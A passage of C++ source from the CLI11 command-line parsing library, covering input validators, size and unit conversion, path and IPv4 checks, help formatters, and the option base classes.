using iteration_type_t = typename detail::pair_adaptor<element_t>::value_type;  // the type of the object pair\n\n        // Make a local copy of the filter function, using a std::function if not one already\n        std::function<local_item_t(local_item_t)> filter_fn = filter_function;\n\n        auto tfunc = [mapping]() {\n            std::string out(\"value in \");\n            out += detail::generate_map(detail::smart_deref(mapping)) + \" OR {\";\n            out += detail::join(\n                detail::smart_deref(mapping),\n                [](const iteration_type_t &v) { return detail::to_string(detail::pair_adaptor<element_t>::second(v)); },\n                \",\");\n            out.push_back('}');\n            return out;\n        };\n\n        desc_function_ = tfunc;\n\n        func_ = [mapping, tfunc, filter_fn](std::string &input) {\n            using CLI::detail::lexical_cast;\n            local_item_t b;\n            bool converted = lexical_cast(input, b);\n            if(converted) {\n                if(filter_fn) {\n                    b = filter_fn(b);\n                }\n                auto res = detail::search(mapping, b, filter_fn);\n                if(res.first) {\n                    input = detail::value_string(detail::pair_adaptor<element_t>::second(*res.second));\n                    return std::string{};\n                }\n            }\n            for(const auto &v : detail::smart_deref(mapping)) {\n                auto output_string = detail::value_string(detail::pair_adaptor<element_t>::second(v));\n                if(output_string == input) {\n                    return std::string();\n                }\n            }\n\n            return \"Check \" + input + \" \" + tfunc() + \" FAILED\";\n        };\n    }\n\n    /// You can pass in as many filter functions as you like, they nest\n    template <typename T, typename... Args>\n    CheckedTransformer(T &&mapping, filter_fn_t filter_fn_1, filter_fn_t filter_fn_2, Args &&...other)\n        : CheckedTransformer(\n              std::forward<T>(mapping),\n              [filter_fn_1, filter_fn_2](std::string a) { return filter_fn_2(filter_fn_1(a)); },\n              other...) {}\n};\n\n/// Helper function to allow ignore_case to be passed to IsMember or Transform\ninline std::string ignore_case(std::string item) { return detail::to_lower(item); }\n\n/// Helper function to allow ignore_underscore to be passed to IsMember or Transform\ninline std::string ignore_underscore(std::string item) { return detail::remove_underscore(item); }\n\n/// Helper function to allow checks to ignore spaces to be passed to IsMember or Transform\ninline std::string ignore_space(std::string item) {\n    item.erase(std::remove(std::begin(item), std::end(item), ' '), std::end(item));\n    item.erase(std::remove(std::begin(item), std::end(item), '\\t'), std::end(item));\n    return item;\n}\n\n/// Multiply a number by a factor using given mapping.\n/// Can be used to write transforms for SIZE or DURATION inputs.\n///\n/// Example:\n///   With mapping = `{\"b\"->1, \"kb\"->1024, \"mb\"->1024*1024}`\n///   one can recognize inputs like \"100\", \"12kb\", \"100 MB\",\n///   that will be automatically transformed to 100, 14448, 104857600.\n///\n/// Output number type matches the type in the provided mapping.\n/// Therefore, if it is required to interpret real inputs like \"0.42 s\",\n/// the mapping should be of a type <string, float> or <string, double>.\nclass AsNumberWithUnit : public Validator {\n  public:\n    /// Adjust AsNumberWithUnit behavior.\n    /// CASE_SENSITIVE/CASE_INSENSITIVE controls how units are matched.\n    /// UNIT_OPTIONAL/UNIT_REQUIRED throws ValidationError\n    ///   if UNIT_REQUIRED is set and unit literal is not found.\n    enum Options {\n        CASE_SENSITIVE = 0,\n        CASE_INSENSITIVE = 1,\n        UNIT_OPTIONAL = 0,\n        UNIT_REQUIRED = 2,\n        DEFAULT = CASE_INSENSITIVE | UNIT_OPTIONAL\n    };\n\n    template <typename Number>\n    explicit AsNumberWithUnit(std::map<std::string, Number> mapping,\n                              Options opts = DEFAULT,\n                              const std::string &unit_name = \"UNIT\") {\n        description(generate_description<Number>(unit_name, opts));\n        validate_mapping(mapping, opts);\n\n        // transform function\n        func_ = [mapping, opts](std::string &input) -> std::string {\n            Number num{};\n\n            detail::rtrim(input);\n            if(input.empty()) {\n                throw ValidationError(\"Input is empty\");\n            }\n\n            // Find split position between number and prefix\n            auto unit_begin = input.end();\n            while(unit_begin > input.begin() && std::isalpha(*(unit_begin - 1), std::locale())) {\n                --unit_begin;\n            }\n\n            std::string unit{unit_begin, input.end()};\n            input.resize(static_cast<std::size_t>(std::distance(input.begin(), unit_begin)));\n            detail::trim(input);\n\n            if(opts & UNIT_REQUIRED && unit.empty()) {\n                throw ValidationError(\"Missing mandatory unit\");\n            }\n            if(opts & CASE_INSENSITIVE) {\n                unit = detail::to_lower(unit);\n            }\n            if(unit.empty()) {\n                using CLI::detail::lexical_cast;\n                if(!lexical_cast(input, num)) {\n                    throw ValidationError(std::string(\"Value \") + input + \" could not be converted to \" +\n                                          detail::type_name<Number>());\n                }\n                // No need to modify input if no unit passed\n                return {};\n            }\n\n            // find corresponding factor\n            auto it = mapping.find(unit);\n            if(it == mapping.end()) {\n                throw ValidationError(unit +\n                                      \" unit not recognized. \"\n                                      \"Allowed values: \" +\n                                      detail::generate_map(mapping, true));\n            }\n\n            if(!input.empty()) {\n                using CLI::detail::lexical_cast;\n                bool converted = lexical_cast(input, num);\n                if(!converted) {\n                    throw ValidationError(std::string(\"Value \") + input + \" could not be converted to \" +\n                                          detail::type_name<Number>());\n                }\n                // perform safe multiplication\n                bool ok = detail::checked_multiply(num, it->second);\n                if(!ok) {\n                    throw ValidationError(detail::to_string(num) + \" multiplied by \" + unit +\n                                          \" factor would cause number overflow. Use smaller value.\");\n                }\n            } else {\n                num = static_cast<Number>(it->second);\n            }\n\n            input = detail::to_string(num);\n\n            return {};\n        };\n    }\n\n  private:\n    /// Check that mapping contains valid units.\n    /// Update mapping for CASE_INSENSITIVE mode.\n    template <typename Number> static void validate_mapping(std::map<std::string, Number> &mapping, Options opts) {\n        for(auto &kv : mapping) {\n            if(kv.first.empty()) {\n                throw ValidationError(\"Unit must not be empty.\");\n            }\n            if(!detail::isalpha(kv.first)) {\n                throw ValidationError(\"Unit must contain only letters.\");\n            }\n        }\n\n        // make all units lowercase if CASE_INSENSITIVE\n        if(opts & CASE_INSENSITIVE) {\n            std::map<std::string, Number> lower_mapping;\n            for(auto &kv : mapping) {\n                auto s = detail::to_lower(kv.first);\n                if(lower_mapping.count(s)) {\n                    throw ValidationError(std::string(\"Several matching lowercase unit representations are found: \") +\n                                          s);\n                }\n                lower_mapping[detail::to_lower(kv.first)] = kv.second;\n            }\n            mapping = std::move(lower_mapping);\n        }\n    }\n\n    /// Generate description like this: NUMBER [UNIT]\n    template <typename Number> static std::string generate_description(const std::string &name, Options opts) {\n        std::stringstream out;\n        out << detail::type_name<Number>() << ' ';\n        if(opts & UNIT_REQUIRED) {\n            out << name;\n        } else {\n            out << '[' << name << ']';\n        }\n        return out.str();\n    }\n};\n\ninline AsNumberWithUnit::Options operator|(const AsNumberWithUnit::Options &a, const AsNumberWithUnit::Options &b) {\n    return static_cast<AsNumberWithUnit::Options>(static_cast<int>(a) | static_cast<int>(b));\n}\n\n/// Converts a human-readable size string (with unit literal) to uin64_t size.\n/// Example:\n///   \"100\" => 100\n///   \"1 b\" => 100\n///   \"10Kb\" => 10240 // you can configure this to be interpreted as kilobyte (*1000) or kibibyte (*1024)\n///   \"10 KB\" => 10240\n///   \"10 kb\" => 10240\n///   \"10 kib\" => 10240 // *i, *ib are always interpreted as *bibyte (*1024)\n///   \"10kb\" => 10240\n///   \"2 MB\" => 2097152\n///   \"2 EiB\" => 2^61 // Units up to exibyte are supported\nclass AsSizeValue : public AsNumberWithUnit {\n  public:\n    using result_t = std::uint64_t;\n\n    /// If kb_is_1000 is true,\n    /// interpret 'kb', 'k' as 1000 and 'kib', 'ki' as 1024\n    /// (same applies to higher order units as well).\n    /// Otherwise, interpret all literals as factors of 1024.\n    /// The first option is formally correct, but\n    /// the second interpretation is more wide-spread\n    /// (see https://en.wikipedia.org/wiki/Binary_prefix).\n    explicit AsSizeValue(bool kb_is_1000);\n\n  private:\n    /// Get <size unit, factor> mapping\n    static std::map<std::string, result_t> init_mapping(bool kb_is_1000);\n\n    /// Cache calculated mapping\n    static std::map<std::string, result_t> get_mapping(bool kb_is_1000);\n};\n\nnamespace detail {\n/// Split a string into a program name and command line arguments\n/// the string is assumed to contain a file name followed by other arguments\n/// the return value contains is a pair with the first argument containing the program name and the second\n/// everything else.\nCLI11_INLINE std::pair<std::string, std::string> split_program_name(std::string commandline);\n\n}  // namespace detail\n/// @}\n\n\n\n\nCLI11_INLINE std::string Validator::operator()(std::string &str) const {\n    std::string retstring;\n    if(active_) {\n        if(non_modifying_) {\n            std::string value = str;\n            retstring = func_(value);\n        } else {\n            retstring = func_(str);\n        }\n    }\n    return retstring;\n}\n\nCLI11_NODISCARD CLI11_INLINE Validator Validator::description(std::string validator_desc) const {\n    Validator newval(*this);\n    newval.desc_function_ = [validator_desc]() { return validator_desc; };\n    return newval;\n}\n\nCLI11_INLINE Validator Validator::operator&(const Validator &other) const {\n    Validator newval;\n\n    newval._merge_description(*this, other, \" AND \");\n\n    // Give references (will make a copy in lambda function)\n    const std::function<std::string(std::string & filename)> &f1 = func_;\n    const std::function<std::string(std::string & filename)> &f2 = other.func_;\n\n    newval.func_ = [f1, f2](std::string &input) {\n        std::string s1 = f1(input);\n        std::string s2 = f2(input);\n        if(!s1.empty() && !s2.empty())\n            return std::string(\"(\") + s1 + \") AND (\" + s2 + \")\";\n        return s1 + s2;\n    };\n\n    newval.active_ = active_ && other.active_;\n    newval.application_index_ = application_index_;\n    return newval;\n}\n\nCLI11_INLINE Validator Validator::operator|(const Validator &other) const {\n    Validator newval;\n\n    newval._merge_description(*this, other, \" OR \");\n\n    // Give references (will make a copy in lambda function)\n    const std::function<std::string(std::string &)> &f1 = func_;\n    const std::function<std::string(std::string &)> &f2 = other.func_;\n\n    newval.func_ = [f1, f2](std::string &input) {\n        std::string s1 = f1(input);\n        std::string s2 = f2(input);\n        if(s1.empty() || s2.empty())\n            return std::string();\n\n        return std::string(\"(\") + s1 + \") OR (\" + s2 + \")\";\n    };\n    newval.active_ = active_ && other.active_;\n    newval.application_index_ = application_index_;\n    return newval;\n}\n\nCLI11_INLINE Validator Validator::operator!() const {\n    Validator newval;\n    const std::function<std::string()> &dfunc1 = desc_function_;\n    newval.desc_function_ = [dfunc1]() {\n        auto str = dfunc1();\n        return (!str.empty()) ? std::string(\"NOT \") + str : std::string{};\n    };\n    // Give references (will make a copy in lambda function)\n    const std::function<std::string(std::string & res)> &f1 = func_;\n\n    newval.func_ = [f1, dfunc1](std::string &test) -> std::string {\n        std::string s1 = f1(test);\n        if(s1.empty()) {\n            return std::string(\"check \") + dfunc1() + \" succeeded improperly\";\n        }\n        return std::string{};\n    };\n    newval.active_ = active_;\n    newval.application_index_ = application_index_;\n    return newval;\n}\n\nCLI11_INLINE void\nValidator::_merge_description(const Validator &val1, const Validator &val2, const std::string &merger) {\n\n    const std::function<std::string()> &dfunc1 = val1.desc_function_;\n    const std::function<std::string()> &dfunc2 = val2.desc_function_;\n\n    desc_function_ = [=]() {\n        std::string f1 = dfunc1();\n        std::string f2 = dfunc2();\n        if((f1.empty()) || (f2.empty())) {\n            return f1 + f2;\n        }\n        return std::string(1, '(') + f1 + ')' + merger + '(' + f2 + ')';\n    };\n}\n\nnamespace detail {\n\n#if defined CLI11_HAS_FILESYSTEM && CLI11_HAS_FILESYSTEM > 0\nCLI11_INLINE path_type check_path(const char *file) noexcept {\n    std::error_code ec;\n    auto stat = std::filesystem::status(file, ec);\n    if(ec) {\n        return path_type::nonexistent;\n    }\n    switch(stat.type()) {\n    case std::filesystem::file_type::none:  // LCOV_EXCL_LINE\n    case std::filesystem::file_type::not_found:\n        return path_type::nonexistent;\n    case std::filesystem::file_type::directory:\n        return path_type::directory;\n    case std::filesystem::file_type::symlink:\n    case std::filesystem::file_type::block:\n    case std::filesystem::file_type::character:\n    case std::filesystem::file_type::fifo:\n    case std::filesystem::file_type::socket:\n    case std::filesystem::file_type::regular:\n    case std::filesystem::file_type::unknown:\n    default:\n        return path_type::file;\n    }\n}\n#else\nCLI11_INLINE path_type check_path(const char *file) noexcept {\n#if defined(_MSC_VER)\n    struct __stat64 buffer;\n    if(_stat64(file, &buffer) == 0) {\n        return ((buffer.st_mode & S_IFDIR) != 0) ? path_type::directory : path_type::file;\n    }\n#else\n    struct stat buffer;\n    if(stat(file, &buffer) == 0) {\n        return ((buffer.st_mode & S_IFDIR) != 0) ? path_type::directory : path_type::file;\n    }\n#endif\n    return path_type::nonexistent;\n}\n#endif\n\nCLI11_INLINE ExistingFileValidator::ExistingFileValidator() : Validator(\"FILE\") {\n    func_ = [](std::string &filename) {\n        auto path_result = check_path(filename.c_str());\n        if(path_result == path_type::nonexistent) {\n            return \"File does not exist: \" + filename;\n        }\n        if(path_result == path_type::directory) {\n            return \"File is actually a directory: \" + filename;\n        }\n        return std::string();\n    };\n}\n\nCLI11_INLINE ExistingDirectoryValidator::ExistingDirectoryValidator() : Validator(\"DIR\") {\n    func_ = [](std::string &filename) {\n        auto path_result = check_path(filename.c_str());\n        if(path_result == path_type::nonexistent) {\n            return \"Directory does not exist: \" + filename;\n        }\n        if(path_result == path_type::file) {\n            return \"Directory is actually a file: \" + filename;\n        }\n        return std::string();\n    };\n}\n\nCLI11_INLINE ExistingPathValidator::ExistingPathValidator() : Validator(\"PATH(existing)\") {\n    func_ = [](std::string &filename) {\n        auto path_result = check_path(filename.c_str());\n        if(path_result == path_type::nonexistent) {\n            return \"Path does not exist: \" + filename;\n        }\n        return std::string();\n    };\n}\n\nCLI11_INLINE NonexistentPathValidator::NonexistentPathValidator() : Validator(\"PATH(non-existing)\") {\n    func_ = [](std::string &filename) {\n        auto path_result = check_path(filename.c_str());\n        if(path_result != path_type::nonexistent) {\n            return \"Path already exists: \" + filename;\n        }\n        return std::string();\n    };\n}\n\nCLI11_INLINE IPV4Validator::IPV4Validator() : Validator(\"IPV4\") {\n    func_ = [](std::string &ip_addr) {\n        auto result = CLI::detail::split(ip_addr, '.');\n        if(result.size() != 4) {\n            return std::string(\"Invalid IPV4 address must have four parts (\") + ip_addr + ')';\n        }\n        int num = 0;\n        for(const auto &var : result) {\n            using CLI::detail::lexical_cast;\n            bool retval = lexical_cast(var, num);\n            if(!retval) {\n                return std::string(\"Failed parsing number (\") + var + ')';\n            }\n            if(num < 0 || num > 255) {\n                return std::string(\"Each IP number must be between 0 and 255 \") + var;\n            }\n        }\n        return std::string();\n    };\n}\n\n}  // namespace detail\n\nCLI11_INLINE FileOnDefaultPath::FileOnDefaultPath(std::string default_path, bool enableErrorReturn)\n    : Validator(\"FILE\") {\n    func_ = [default_path, enableErrorReturn](std::string &filename) {\n        auto path_result = detail::check_path(filename.c_str());\n        if(path_result == detail::path_type::nonexistent) {\n            std::string test_file_path = default_path;\n            if(default_path.back() != '/' && default_path.back() != '\\\\') {\n                // Add folder separator\n                test_file_path += '/';\n            }\n            test_file_path.append(filename);\n            path_result = detail::check_path(test_file_path.c_str());\n            if(path_result == detail::path_type::file) {\n                filename = test_file_path;\n            } else {\n                if(enableErrorReturn) {\n                    return \"File does not exist: \" + filename;\n                }\n            }\n        }\n        return std::string{};\n    };\n}\n\nCLI11_INLINE AsSizeValue::AsSizeValue(bool kb_is_1000) : AsNumberWithUnit(get_mapping(kb_is_1000)) {\n    if(kb_is_1000) {\n        description(\"SIZE [b, kb(=1000b), kib(=1024b), ...]\");\n    } else {\n        description(\"SIZE [b, kb(=1024b), ...]\");\n    }\n}\n\nCLI11_INLINE std::map<std::string, AsSizeValue::result_t> AsSizeValue::init_mapping(bool kb_is_1000) {\n    std::map<std::string, result_t> m;\n    result_t k_factor = kb_is_1000 ? 1000 : 1024;\n    result_t ki_factor = 1024;\n    result_t k = 1;\n    result_t ki = 1;\n    m[\"b\"] = 1;\n    for(std::string p : {\"k\", \"m\", \"g\", \"t\", \"p\", \"e\"}) {\n        k *= k_factor;\n        ki *= ki_factor;\n        m[p] = k;\n        m[p + \"b\"] = k;\n        m[p + \"i\"] = ki;\n        m[p + \"ib\"] = ki;\n    }\n    return m;\n}\n\nCLI11_INLINE std::map<std::string, AsSizeValue::result_t> AsSizeValue::get_mapping(bool kb_is_1000) {\n    if(kb_is_1000) {\n        static auto m = init_mapping(true);\n        return m;\n    }\n    static auto m = init_mapping(false);\n    return m;\n}\n\nnamespace detail {\n\nCLI11_INLINE std::pair<std::string, std::string> split_program_name(std::string commandline) {\n    // try to determine the programName\n    std::pair<std::string, std::string> vals;\n    trim(commandline);\n    auto esp = commandline.find_first_of(' ', 1);\n    while(detail::check_path(commandline.substr(0, esp).c_str()) != path_type::file) {\n        esp = commandline.find_first_of(' ', esp + 1);\n        if(esp == std::string::npos) {\n            // if we have reached the end and haven't found a valid file just assume the first argument is the\n            // program name\n            if(commandline[0] == '\"' || commandline[0] == '\\'' || commandline[0] == '`') {\n                bool embeddedQuote = false;\n                auto keyChar = commandline[0];\n                auto end = commandline.find_first_of(keyChar, 1);\n                while((end != std::string::npos) && (commandline[end - 1] == '\\\\')) {  // deal with escaped quotes\n                    end = commandline.find_first_of(keyChar, end + 1);\n                    embeddedQuote = true;\n                }\n                if(end != std::string::npos) {\n                    vals.first = commandline.substr(1, end - 1);\n                    esp = end + 1;\n                    if(embeddedQuote) {\n                        vals.first = find_and_replace(vals.first, std::string(\"\\\\\") + keyChar, std::string(1, keyChar));\n                    }\n                } else {\n                    esp = commandline.find_first_of(' ', 1);\n                }\n            } else {\n                esp = commandline.find_first_of(' ', 1);\n            }\n\n            break;\n        }\n    }\n    if(vals.first.empty()) {\n        vals.first = commandline.substr(0, esp);\n        rtrim(vals.first);\n    }\n\n    // strip the program name\n    vals.second = (esp < commandline.length() - 1) ? commandline.substr(esp + 1) : std::string{};\n    ltrim(vals.second);\n    return vals;\n}\n\n}  // namespace detail\n/// @}\n\n\n\n\nclass Option;\nclass App;\n\n/// This enum signifies the type of help requested\n///\n/// This is passed in by App; all user classes must accept this as\n/// the second argument.\n\nenum class AppFormatMode {\n    Normal,  ///< The normal, detailed help\n    All,     ///< A fully expanded help\n    Sub,     ///< Used when printed as part of expanded subcommand\n};\n\n/// This is the minimum requirements to run a formatter.\n///\n/// A user can subclass this is if they do not care at all\n/// about the structure in CLI::Formatter.\nclass FormatterBase {\n  protected:\n    /// @name Options\n    ///@{\n\n    /// The width of the first column\n    std::size_t column_width_{30};\n\n    /// @brief The required help printout labels (user changeable)\n    /// Values are Needs, Excludes, etc.\n    std::map<std::string, std::string> labels_{};\n\n    ///@}\n    /// @name Basic\n    ///@{\n\n  public:\n    FormatterBase() = default;\n    FormatterBase(const FormatterBase &) = default;\n    FormatterBase(FormatterBase &&) = default;\n    FormatterBase &operator=(const FormatterBase &) = default;\n    FormatterBase &operator=(FormatterBase &&) = default;\n\n    /// Adding a destructor in this form to work around bug in GCC 4.7\n    virtual ~FormatterBase() noexcept {}  // NOLINT(modernize-use-equals-default)\n\n    /// This is the key method that puts together help\n    virtual std::string make_help(const App *, std::string, AppFormatMode) const = 0;\n\n    ///@}\n    /// @name Setters\n    ///@{\n\n    /// Set the \"REQUIRED\" label\n    void label(std::string key, std::string val) { labels_[key] = val; }\n\n    /// Set the column width\n    void column_width(std::size_t val) { column_width_ = val; }\n\n    ///@}\n    /// @name Getters\n    ///@{\n\n    /// Get the current value of a name (REQUIRED, etc.)\n    CLI11_NODISCARD std::string get_label(std::string key) const {\n        if(labels_.find(key) == labels_.end())\n            return key;\n        return labels_.at(key);\n    }\n\n    /// Get the current column width\n    CLI11_NODISCARD std::size_t get_column_width() const { return column_width_; }\n\n    ///@}\n};\n\n/// This is a specialty override for lambda functions\nclass FormatterLambda final : public FormatterBase {\n    using funct_t = std::function<std::string(const App *, std::string, AppFormatMode)>;\n\n    /// The lambda to hold and run\n    funct_t lambda_;\n\n  public:\n    /// Create a FormatterLambda with a lambda function\n    explicit FormatterLambda(funct_t funct) : lambda_(std::move(funct)) {}\n\n    /// Adding a destructor (mostly to make GCC 4.7 happy)\n    ~FormatterLambda() noexcept override {}  // NOLINT(modernize-use-equals-default)\n\n    /// This will simply call the lambda function\n    std::string make_help(const App *app, std::string name, AppFormatMode mode) const override {\n        return lambda_(app, name, mode);\n    }\n};\n\n/// This is the default Formatter for CLI11. It pretty prints help output, and is broken into quite a few\n/// overridable methods, to be highly customizable with minimal effort.\nclass Formatter : public FormatterBase {\n  public:\n    Formatter() = default;\n    Formatter(const Formatter &) = default;\n    Formatter(Formatter &&) = default;\n    Formatter &operator=(const Formatter &) = default;\n    Formatter &operator=(Formatter &&) = default;\n\n    /// @name Overridables\n    ///@{\n\n    /// This prints out a group of options with title\n    ///\n    CLI11_NODISCARD virtual std::string\n    make_group(std::string group, bool is_positional, std::vector<const Option *> opts) const;\n\n    /// This prints out just the positionals \"group\"\n    virtual std::string make_positionals(const App *app) const;\n\n    /// This prints out all the groups of options\n    std::string make_groups(const App *app, AppFormatMode mode) const;\n\n    /// This prints out all the subcommands\n    virtual std::string make_subcommands(const App *app, AppFormatMode mode) const;\n\n    /// This prints out a subcommand\n    virtual std::string make_subcommand(const App *sub) const;\n\n    /// This prints out a subcommand in help-all\n    virtual std::string make_expanded(const App *sub) const;\n\n    /// This prints out all the groups of options\n    virtual std::string make_footer(const App *app) const;\n\n    /// This displays the description line\n    virtual std::string make_description(const App *app) const;\n\n    /// This displays the usage line\n    virtual std::string make_usage(const App *app, std::string name) const;\n\n    /// This puts everything together\n    std::string make_help(const App * /*app*/, std::string, AppFormatMode) const override;\n\n    ///@}\n    /// @name Options\n    ///@{\n\n    /// This prints out an option help line, either positional or optional form\n    virtual std::string make_option(const Option *opt, bool is_positional) const {\n        std::stringstream out;\n        detail::format_help(\n            out, make_option_name(opt, is_positional) + make_option_opts(opt), make_option_desc(opt), column_width_);\n        return out.str();\n    }\n\n    /// @brief This is the name part of an option, Default: left column\n    virtual std::string make_option_name(const Option *, bool) const;\n\n    /// @brief This is the options part of the name, Default: combined into left column\n    virtual std::string make_option_opts(const Option *) const;\n\n    /// @brief This is the description. Default: Right column, on new line if left column too large\n    virtual std::string make_option_desc(const Option *) const;\n\n    /// @brief This is used to print the name on the USAGE line\n    virtual std::string make_option_usage(const Option *opt) const;\n\n    ///@}\n};\n\n\n\n\nusing results_t = std::vector<std::string>;\n/// callback function definition\nusing callback_t = std::function<bool(const results_t &)>;\n\nclass Option;\nclass App;\n\nusing Option_p = std::unique_ptr<Option>;\n/// Enumeration of the multiOption Policy selection\nenum class MultiOptionPolicy : char {\n    Throw,      //!< Throw an error if any extra arguments were given\n    TakeLast,   //!< take only the last Expected number of arguments\n    TakeFirst,  //!< take only the first Expected number of arguments\n    Join,       //!< merge all the arguments together into a single string via the delimiter character default('\\n')\n    TakeAll,    //!< just get all the passed argument regardless\n    Sum         //!< sum all the arguments together if numerical or concatenate directly without delimiter\n};\n\n/// This is the CRTP base class for Option and OptionDefaults. It was designed this way\n/// to share parts of the class; an OptionDefaults can copy to an Option.\ntemplate <typename CRTP> class OptionBase {\n    friend App;\n\n  protected:\n    /// The group membership\n    std::string group_ = std::string(\"Options\");\n\n    /// True if this is a required option\n    bool required_{false};\n\n    /// Ignore the case when matching (option, not value)\n    bool ignore_case_{false};\n\n    /// Ignore underscores when matching (option, not value)\n    bool ignore_underscore_{false};\n\n    /// Allow this option to be given in a configuration file\n    bool configurable_{true};\n\n    /// Disable overriding flag values with '=value'\n    bool disable_flag_override_{false};\n\n    /// Specify a delimiter character for vector arguments\n    char delimiter_{'\\0'};\n\n    /// Automatically capture default value\n    bool always_capture_default_{false};\n\n    /// Policy for handling multiple arguments beyond the expected Max\n    MultiOptionPolicy multi_option_policy_{MultiOptionPolicy::Throw};\n\n    /// Copy the contents to another similar class (one based on OptionBase)\n    template <typename T> void copy_to(T *other) const;\n\n  public:\n    // setters\n\n    /// Changes the group membership\n    CRTP *group(const std::string &name) {\n        if(!detail::valid_alias_name_string(name)) {\n            throw IncorrectConstruction(\"Group names may not contain newlines or null characters\");\n        }\n        group_ = name;\n        return static_cast<CRTP *>(this);\n    }\n\n    /// Set the option as required\n    CRTP *required(bool value = true) {\n        required_ = value;\n        return static_cast<CRTP *>(this);\n    }\n\n    /// Support Plumbum term\n    CRTP *mandatory(bool value = true) { return required(value); }\n\n    CRTP *always_capture_default(bool value = true) {\n        always_capture_default_ = value;\n        return static_cast<CRTP *>(this);\n    }\n\n    // Getters\n\n    /// Get the group of this option\n    CLI11_NODISCARD const std::string &get_group() const { return group_; }\n\n    /// True if this is a required option\n    CLI11_NODISCARD bool get_required() const { return required_; }\n\n    /// The status of ignore case\n    CLI11_NODISCARD bool get_ignore_case() const { return ignore_case_; }\n\n    /// The status of ignore_underscore\n    CLI11_NODISCARD bool get_ignore_underscore() const { return ignore_underscore_; }\n\n    /// The status of configurable\n    CLI11_NODISCARD bool get_configurable() const { return configurable_; }\n\n    /// The status of configurable\n    CLI11_NODISCARD bool get_disable_flag_override() const { return disable_flag_override_; }\n\n    /// Get the current delimiter char\n    CLI11_NODISCARD char get_delimiter() const { return delimiter_; }\n\n    /// Return true if this will automatically capture the default value for help printing\n    CLI11_NODISCARD bool get_always_capture_default() const { return always_capture_default_; }\n\n    /// The status of the multi option policy\n    CLI11_NODISCARD MultiOptionPolicy get_multi_option_policy() const { return multi_option_policy_; }\n\n    // Shortcuts for multi option policy\n\n    /// Set the multi option policy to take last\n    CRTP *take_last() {\n        auto *self = static_cast<CRTP *>(this);\n        self->multi_option_policy(MultiOptionPolicy::TakeLast);\n        return self;\n    }\n\n    /// Set the multi option policy to take last\n    CRTP *take_first() {\n        auto *self = static_cast<CRTP *>(this);\n        self->multi_option_policy(MultiOptionPolicy::TakeFirst);\n        return self;\n    }\n\n    /// Set the multi option policy to take all arguments\n    CRTP *take_all() {\n        auto self = static_cast<CRTP *>(this);\n        self->multi_option_policy(MultiOptionPolicy::TakeAll);\n        return self;\n    }\n\n    /// Set the multi option policy to join\n    CRTP *join() {\n        auto *self = static_cast<CRTP *>(this);\n        self->multi_option_policy(MultiOptionPolicy::Join);\n        return self;\n    }\n\n    /// Set the multi option policy to join with a specific delimiter\n    CRTP *join(char delim) {\n        auto self = static_cast<CRTP *>(this);\n        self->delimiter_ = delim;\n        self->multi_option_policy(MultiOptionPolicy::Join);\n        return self;\n    }\n\n    /// Allow in a configuration file\n    CRTP *configurable(bool value = true) {\n        configurable_ = value;\n        return static_cast<CRTP *>(this);\n    }\n\n    /// Allow in a configuration file\n    CRTP *delimiter(char value = '\\0') {\n        delimiter_ = value;\n        return static_cast<CRTP *>(this);\n    }\n};\n\n/// This is a version of OptionBase that only supports setting values,\n/// for defaults. It is stored as the default option in an App.\nclass OptionDefaults : public OptionBase<OptionDefaults> {\n  public:\n    OptionDefaults() = default;\n\n    // Methods here need a different implementation if they are Option vs. OptionDefault\n\n    /// Take the last argument if given multiple times\n    OptionDefaults *multi_option_policy(MultiOptionPolicy value = MultiOptionPolicy::Throw) {\n        multi_option_policy_ = value;\n        return this;\n    }\n\n    /// Ignore the case of the option name\n    OptionDefaults *ignore_case(bool value = true) {\n        ignore_case_ = value;\n        return this;\n    }\n\n    /// Ignore underscores in the option name\n    OptionDefaults *ignore_underscore(bool value = true) {\n        ignore_underscore_ = value;\n        return this;\n    }\n\n    /// Disable overriding flag values with an '=<value>' segment\n    OptionDefaults *disable_flag_override(bool value = true) {\n        disable_flag_override_ = value;\n        return this;\n    }\n\n    /// set a delimiter character to split up single arguments to treat as multiple inputs\n    OptionDefaults *delimiter(char value = '\\0') {\n        delimiter_ = value;\n        return this;\n    }\n};\n\nclass Option : public OptionBase<Option> {\n    friend App;\n\n  protected:\n    /// @name Names\n    ///@{\n\n    /// A list of the short names (`-a`) without the leading dashes\n    std::vector<std::string> snames_{};\n\n    /// A list of the long names (`--long`) without the leading dashes\n    std::vector<std::string> lnames_{};\n\n    /// A list of the flag names with the appropriate default value, the first part of the pair should be duplicates of\n    /// what is in snames or lnames but will trigger a particular response on a flag\n    std::vector<std::pair<std::string, std::string>> default_flag_values_{};\n\n    /// a list of flag names with specified default values;\n    std::vector<std::string> fnames_{};\n\n    /// A positional name\n    std::string pname_{};\n\n    /// If given, check the environment for this option\n    std::string envname_{};\n\n    ///@}\n    /// @name Help\n    ///@{\n\n    /// The description for help strings\n    std::string description_{};\n\n    /// A human readable default value, either manually set, captured, or captured by default\n    std::string default_str_{};\n\n    /// If given, replace the text that describes the option type and usage in the help text\n    std::string option_text_{};\n\n    /// A human readable type value, set when App creates this\n    ///\n    /// This is a lambda function so \"types\" can be dynamic, such as when a set prints its contents.\n    std::function<std::string()> type_name_{[]() { return std::string(); }};\n\n    /// Run this function to capture a default (ignore if empty)\n    std::function<std::string()> default_function_{};\n\n    ///@}\n    /// @name Configuration\n    ///@{\n\n    /// The number of arguments that make up one option. max is the nominal type size, min is the minimum number of\n    /// strings\n    int type_size_max_{1};\n    /// The minimum number of arguments an option should be expecting\n    int type_size_min_{1};\n\n    /// The minimum number of expected values\n    int expected_min_{1};\n    /// The maximum number of expected values\n    int expected_max_{1};\n\n    /// A list of Validators to run on each value parsed\n    std::vector<Validator> validators_{};\n\n    /// A list of options that are required with this option\n    std::set<Option *> needs_{};\n\n    /// A list of options that are excluded with this option\n    std::set<Option *> excludes_{};\n\n    ///@}\n    /// @name Other\n    ///@{\n\n    /// link back up to the parent App for fallthrough\n    App *parent_{nullptr};\n\n    /// Options store a callback to do all the work\n    callback_t callback_{};\n\n    ///@}\n    /// @name Parsing results\n    ///@{\n\n    /// complete Results of parsing\n    results_t results_{};\n    /// results after reduction\n    results_t proc_results_{};\n    /// enumeration for the option state machine\n    enum class option_state : char {\n        parsing = 0,       //!< The option is currently collecting parsed results\n        validated = 2,     //!< the results have been validated\n        reduced = 4,       //!< a subset of results has been generated\n        callback_run = 6,  //!< the callback has been executed\n    };\n    /// Whether the callback has run (needed for INI parsing)\n    option_state current_option_state_{option_state::parsing};\n    /// Specify that extra args beyond type_size_max should be allowed\n    bool allow_extra_args_{false};\n    /// Specify that the option should act like a flag vs regular option\n    bool flag_like_{false};\n    /// Control option to run the callback to set the default\n    bool run_callback_for_default_{false};\n    /// flag indicating a separator needs to be 